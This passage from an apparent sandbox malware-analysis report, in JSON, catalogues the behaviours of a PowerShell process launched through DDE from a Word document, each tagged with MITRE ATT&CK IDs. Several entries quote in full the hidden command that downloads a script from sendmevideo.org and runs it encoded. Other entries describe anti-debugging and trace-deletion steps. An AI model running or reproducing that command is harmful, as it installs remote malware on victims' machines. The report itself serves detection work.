00000000-00005776)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002500)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\VYQVV3N5XFA7M9ZE4NIR.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\VYQVV3N5XFA7M9ZE4NIR.temp\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF3d259a.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00005776)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations (UID: 00000000-00005776)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00005776)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -enc\" - (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"Process \"powershell.exe\" with commandline \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a\" (UID: 00000000-00005776)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133945765215557159.5776.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 749A0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 5D670000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 5DE20000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76DE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"0e000f004ce9da73@LPK.dll\"\n \"15001600c03e746b@ADVAPI32.dll\"\n \"0e000f00703f746b@ADVAPI32.dll\"\n \"0e000f00cc3f746b@ADVAPI32.dll\"\n \"11001200b447746b@ADVAPI32.dll\"\n \"110012004848746b@ADVAPI32.dll\"\n \"120013008c48746b@ADVAPI32.dll\"\n \"12001300e448746b@ADVAPI32.dll\"\n \"140015000c70746b@ADVAPI32.dll\"\n \"140015002470746b@ADVAPI32.dll\"\n \"140015003c70746b@ADVAPI32.dll\"\n \"170018005470746b@ADVAPI32.dll\"\n \"0d000e006c70746b@ADVAPI32.dll\"\n \"110012007c70746b@ADVAPI32.dll\"\n \"110012009070746b@ADVAPI32.dll\"\n \"0d000e003449746b@shell32.dll\"\n \"0d000e00b049746b@shell32.dll\"\n \"0f001000d071746b@ADVAPI32.dll\"\n \"140015001072746b@ADVAPI32.dll\"\n \"140015002872746b@ADVAPI32.dll\"\n \"0c000d007072746b@ADVAPI32.dll\"\n \"0c000d008072746b@ADVAPI32.dll\"\n \"0e000f009072746b@ADVAPI32.dll\"\n \"0e000f00a072746b@ADVAPI32.dll\"\n \"0b000c00b072746b@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"powershell_ise.exe\"; File: \"VYQVV3N5XFA7M9ZE4NIR.temp\")\n file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$38","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$39","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"sendmevideo.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Uses Dynamic Data Exchange (DDE)","description":"\"WINWORD.EXE\" initiated DDE at 00000000-00005596-000005D2-28437324\n \"WINWORD.EXE\" initiated DDE at 00000000-00005596-000005D2-36110628","origin":"API Call","mitre_attack_id":"T1559.002","relevance":4,"id":"api-89","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\2vs51amt.3ag.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fh3f5gb.vok.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"powershell.exe\" reads file \"c:\\users\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\programdata\\microsoft\\windows\\start menu\\desktop.ini\"\n \"powershell.exe\" reads file \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$3c","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005776)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005776-00000C2B-3025605069\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005776-00000C2B-3026187448\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005776-00000C2B-3026187970\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Network Related","name":"Found named pipe-like string used by malware","description":"Found pipe name string \"\\PIPE\\wkssvc\" (Source: \"00000000-00005596-00000CC8-3283386768\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-735","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005776)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002500)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":1,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses PowerShell with a Windows hidden command line parameter","description":"Process \"powershell.exe\" with commandline \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a\" (UID: 00000000-00005776)","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 5776)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 2500)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF3d259a.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\2vs51amt.3ag.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fh3f5gb.vok.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\VYQVV3N5XFA7M9ZE4NIR.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF3d259a.TMP\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\2vs51amt.3ag.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fh3f5gb.vok.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Commandline contains PowerShell","description":"Commandline contains PowerShell string \"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"malicious","category":"Network Related","name":"Downloads file using Powershell DownloadFile","description":"Process \"powershell.exe\" with commandline \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # .EXE a\" (UID: 00000000-00005776)","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":5,"id":"target-176","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00008676)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00008676)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00008676)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1700566663169', 'hResInfo': '1700566671584'}\" (UID: 00000000-00008676)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1700566663169', 'hResInfo': '1700566671616'}\" (UID: 00000000-00008676)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1700566663169', 'hResInfo': '1700566671632'}\" (UID: 00000000-00008676)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1700566663169', 'hResInfo': '1700566671600'}\" (UID: 00000000-00008676)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00007680.00000000.246092.66753000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 00000000-00007680.00000000.246092.66753000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00007680.00000000.246092.31CF3000.00000002.mdmp, 